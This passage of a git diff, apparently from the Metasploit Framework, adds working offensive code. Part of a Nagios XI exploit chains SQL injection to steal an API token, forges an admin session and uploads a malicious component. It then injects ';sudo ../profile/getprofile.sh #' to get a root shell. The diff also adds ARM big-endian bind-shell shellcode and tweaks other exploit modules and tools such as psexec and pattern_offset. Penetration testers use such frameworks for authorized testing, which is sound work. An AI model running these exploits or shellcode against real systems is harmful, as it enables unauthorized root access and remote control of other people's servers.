'/nagiosxi/includes/components/nagiosim/nagiosim.php', + 'vars_get' => { + 'mode' => 'resolve', + 'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \ + 'SELECT backend_ticket FROM xi_users WHERE user_id=1' \ + '),FLOOR(RAND(0)*2))x ' \ + 'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ' + } + ) + + if res && res.body =~ /Duplicate entry '(.*?).'/ + @api_token = $1 + vprint_good("API token: #{@api_token}") + else + fail_with(Failure::UnexpectedReply, 'API token not found! punt!') + end + end + + def get_admin_cookie + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/rr.php', + 'vars_get' => { + 'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" + + Digest::MD5.hexdigest(@api_token) + } + ) + + if res && (@admin_cookie = res.get_cookies.split('; ').last) + vprint_good("Admin cookie: #{@admin_cookie}") + get_csrf_token(res.body) + else + fail_with(Failure::NoAccess, 'Admin cookie not found! punt!') + end + end + + def get_csrf_token(body) + if body =~ /nsp_str = "(.*?)"/ + @csrf_token = $1 + vprint_good("CSRF token: #{@csrf_token}") + else + fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!') + end + end + + def get_monitored_host + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/ajaxhelper.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'cmd' => 'getxicoreajax', + 'opts' => '{"func":"get_hoststatus_table"}', + 'nsp' => @csrf_token + } + ) + + return unless res && (html = res.get_html_document) + + if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()')) + vprint_good("Monitored host: #{@monitored_host}") + else + fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!') + end + end + + def download_profile_component + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/admin/components.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'download' => 'profile' + } + ) + + if res && res.body =~ /^PK\x03\x04/ + @profile_component = res.body + else + fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!') + end + end + + def upload_root_shell + mime = Rex::MIME::Message.new + mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"') + mime.add_part('1', nil, nil, 'form-data; name="upload"') + mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"') + mime.add_part(payload_zip, 'application/zip', 'binary', + 'form-data; name="uploadedfile"; ' \ + "filename=\"#{zip_filename}\"") + + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => '/nagiosxi/admin/components.php', + 'cookie' => @admin_cookie, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + if res && res.code != 200 + if res.redirect? && res.redirection.path == '/nagiosxi/install.php' + vprint_warning('Nagios XI not configured') + else + fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!') + end + end + end + + def pop_dat_shell + send_request_cgi( + 'method' => 'GET', + 'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php', + 'cookie' => @admin_cookie, + 'vars_get' => { + 'host' => @monitored_host, + 'end' => ';sudo ../profile/getprofile.sh #' + } + ) + end + + # + # Support methods + # + + def payload_zip + zip = Rex::Zip::Archive.new + + Zip::File.open_buffer(@profile_component) do |z| + z.each do |f| + zip.entries << Rex::Zip::Entry.new( + f.name, + (if f.ftype == :file + if f.name == 'profile/getprofile.sh' + payload.encoded + else + z.read(f) + end + else + '' + end), + Rex::Zip::CM_DEFLATE, + nil, + (Rex::Zip::EFA_ISDIR if f.ftype == :directory) + ) + end + end + + zip.pack + end + + # + # Utility methods + # + + def zip_filename + @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' + end + +end diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index 028ad9a438..978b36a32e 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote payload_loc = 'PATH' payload_prefix = "/a');};};return exports;}));" payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" - wrapped_payload = payload_prefix + payload.encoded + payload_suffix + wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix when 'php' payload_loc = 'INFO_DESCRIPTION' payload_prefix = "*/ namespace foobar; eval(base64_decode('" diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb index 017b790caa..9ef0522d13 100644 --- a/modules/exploits/windows/iis/ms02_018_htr.rb +++ b/modules/exploits/windows/iis/ms02_018_htr.rb @@ -49,6 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }], ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }], ], + 'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub 'DisclosureDate' => 'Apr 10 2002', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index 407161bcf0..e41166d961 100644 --- a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Local end if check == Exploit::CheckCode::Safe - print_error("#{winver} is not vulnerable.") + print_error("#{sysinfo["OS"]} is not vulnerable.") return end diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 28b51ccb19..59f9fd37b6 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -14,24 +14,29 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Memory Payload Injection', - 'Description' => %q{ + 'Name' => 'Windows Manage Memory Payload Injection', + 'Description' => %q{ This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez ', 'sinn3r' ], - 'Platform' => [ 'win' ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate'=> "Oct 12 2011" + 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "Oct 12 2011" )) register_options( diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 8bff2170e3..d0076c8bbd 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -44,7 +44,7 @@ module MetasploitModule "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 # + "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # diff --git a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb new file mode 100644 index 0000000000..725d77eff9 --- /dev/null +++ b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit4 + + CachedSize = 118 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix + )) + # Register command execution options + register_options( + [ + OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]), + Opt::LPORT(4444) + ], self.class) + end + def generate + cmd = (datastore['CMD'] || '') + "\x00" + bytehigh = (datastore['LPORT'].to_i >> 8).chr + bytelow = (datastore['LPORT'].to_i & 0xFF).chr + + payload = + # turning on thumb mode + "\xe2\x8f\x60\x01" +# add r6, pc, #1 # + "\xe1\x2f\xff\x16" +# bx r6 # + + # thumb mode on + # socket(2,1,0) + "\x1a\x92" +# sub r2, r2, r2 # + "\x1c\x51" +# add r1, r2, #1 # + "\x1c\x90" +# add r0, r2, #2 # + "\x02\x0f" +# lsl r7, r1, #8 # + "\x37\x19" +# add r7, r7, #0x19 # + "\xdf\x01" +# svc 1 # + "\x1c\x06" +# mov r6, r0 # + + # bind() + "\x22\x02" +# mov r2, #2 # + "\x02\x12" +# lsl r2, r2, #8 # + "\x32"+bytehigh +# add r2, r2, #0xXX # + "\x02\x12" +# lsl r2, r2, #8 # + "\x32"+bytelow +# add r2, r2, #0xXX # + "\x1a\xdb" +# sub r3, r3, r3 # + "\x1b\x24" +# sub r4, r4, r4 # + "\x1b\x6d" +# sub r5, r5, r5 # + "\x46\x69" +# mov r1, sp # + "\xc1\x3c" +# stm r1!, {r2-r5} # + "\x39\x10" +# sub r1, #0x10 # + "\x22\x10" +# mov r2, #16 # + "\x37\x01" +# add r7, r7, #1 # + "\xdf\x01" +# svc 1 # + + # listen() + "\x1c\x30" +# mov r0, r6 # + "\x1a\x49" +# sub r1, r1, r1 # + "\x37\x02" +# add r7, r7, #2 # + "\xdf\x01" +# svc 1 # + + # accept() + "\x1c\x30" +# mov r0, r6 # + "\x1a\x92" +# sub r2, r2, r2 # + "\x37\x01" +# add r7, r7, #1 # + "\xdf\x01" +# svc 1 # + "\x1c\x06" +# mov r6, r0 # + + # dup2() + "\x1a\x49" +# sub r1, r1, r1 # + "\x27\x3f" +# mov r7, #63 # + "\xdf\x01" +# svc 1 # + "\x1c\x30" +# mov r0, r6 # + "\x31\x01" +# add r1, r1, #1 # + "\xdf\x01" +# svc 1 # + "\x1c\x30" +# mov r0, r6 # + "\x31\x01" +# add r1, r1, #1 # + "\xdf\x01" +# svc 1 # + + # execve() + "\x1a\x92" +# sub r2, r2, r2 # + "\x46\x78" +# mov r0, pc # + "\x30\x12" +# add r0, #18 # + "\x92\x02" +# str r2, [sp, #8] # + "\x90\x01" +# str r0, [sp, #4] # + "\xa9\x01" +# add r1, sp, #4 # + "\x27\x0b" +# mov r7, #11 # + "\xdf\x01" +# svc 1 # + + # exit() + "\x1b\x24" +# sub r4, r4, r4 # + "\x1c\x20" +# mov r0, r4 # + "\x27\x01" +# mov r7, #1 # + "\xdf\x01" +# svc 1 # + cmd + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 633b712c59..d0bba13437 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1053,6 +1053,16 @@ RSpec.describe 'modules/payloads', :content do modules_pathname: modules_pathname, reference_name: 'java/shell_reverse_tcp' end + + context 'linux/armbe/shell_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armbe/shell_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armbe/shell_bind_tcp' + end context 'linux/armle/adduser' do it_should_behave_like 'payload cached size is consistent', diff --git a/tools/exploit/find_badchars.rb b/tools/exploit/find_badchars.rb index 49c5ed2210..95552e7160 100755 --- a/tools/exploit/find_badchars.rb +++ b/tools/exploit/find_badchars.rb @@ -13,6 +13,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -112,7 +114,7 @@ case fmt translated << ln.chomp[10,47].gsub!(/(-| )/, '') end from_dbg = Rex::Text.hex_to_raw(translated) - + when "gdb" translated = '' from_dbg.each_line do |ln| diff --git a/tools/exploit/metasm_shell.rb b/tools/exploit/metasm_shell.rb index d402400d5b..4136c6ef6c 100755 --- a/tools/exploit/metasm_shell.rb +++ b/tools/exploit/metasm_shell.rb @@ -20,6 +20,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -40,7 +42,7 @@ def usage $stderr.puts("\nUsage: #{$0} \n" + $args.usage) exit end - + $args = Rex::Parser::Arguments.new( "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], "-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ], diff --git a/tools/exploit/pattern_create.rb b/tools/exploit/pattern_create.rb index c98d7aba5e..6767eeb08c 100755 --- a/tools/exploit/pattern_create.rb +++ b/tools/exploit/pattern_create.rb @@ -8,6 +8,8 @@ end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) $LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' + require 'optparse' module PatternCreate @@ -72,7 +74,6 @@ if __FILE__ == $PROGRAM_NAME begin driver.run rescue ::StandardError => e - elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}") $stderr.puts "[x] #{e.class}: #{e.message}" $stderr.puts "[*] If necessary, please refer to framework.log for more details." end diff --git a/tools/exploit/pattern_offset.rb b/tools/exploit/pattern_offset.rb index 4446793cb9..ff1daac58d 100755 --- a/tools/exploit/pattern_offset.rb +++ b/tools/exploit/pattern_offset.rb @@ -8,6 +8,8 @@ end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) $LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' + require 'optparse' module PatternOffset @@ -48,7 +50,7 @@ module PatternOffset end options[:sets] = nil unless options[:sets] - options[:length] = 1024 unless options[:length] + options[:length] = 8192 unless options[:length] options end @@ -140,7 +142,6 @@ if __FILE__ == $PROGRAM_NAME begin driver.run rescue ::StandardError => e - elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}") $stderr.puts "[x] #{e.class}: #{e.message}" $stderr.puts "[*] If necessary, please refer to framework.log for more details." diff --git a/tools/exploit/psexec.rb b/tools/exploit/psexec.rb index 08fc874c4e..950f14e94e 100755 --- a/tools/exploit/psexec.rb +++ b/tools/exploit/psexec.rb @@ -9,6 +9,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -67,7 +69,7 @@ def dcerpc_bind(handle, csocket, csimple, cuser, cpass) opts['smb_pass'] = cpass opts['frag_size'] = 512 opts['smb_client'] = csimple - + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) end @@ -131,7 +133,7 @@ if (not simple.client.auth_user) exit(1) end - + fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) diff --git a/tools/modules/update_payload_cached_sizes.rb b/tools/modules/update_payload_cached_sizes.rb index 5328afcc7e..c5542cef87 100755 --- a/tools/modules/update_payload_cached_sizes.rb +++ b/tools/modules/update_payload_cached_sizes.rb @@ -13,6 +13,8 @@ require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' + require 'rex' require 'msf/ui' require 'msf/base' diff --git a/tools/password/cpassword_decrypt.rb b/tools/password/cpassword_decrypt.rb index 5d54f3270c..c987dc593d 100755 --- a/tools/password/cpassword_decrypt.rb +++ b/tools/password/cpassword_decrypt.rb @@ -38,10 +38,12 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +gem 'rex-text' + require 'msfenv' require 'rex' - class CPassword # @@ -128,4 +130,4 @@ if __FILE__ == $PROGRAM_NAME else print_good("The decrypted AES password is: #{pass}") end -end \ No newline at end of file +end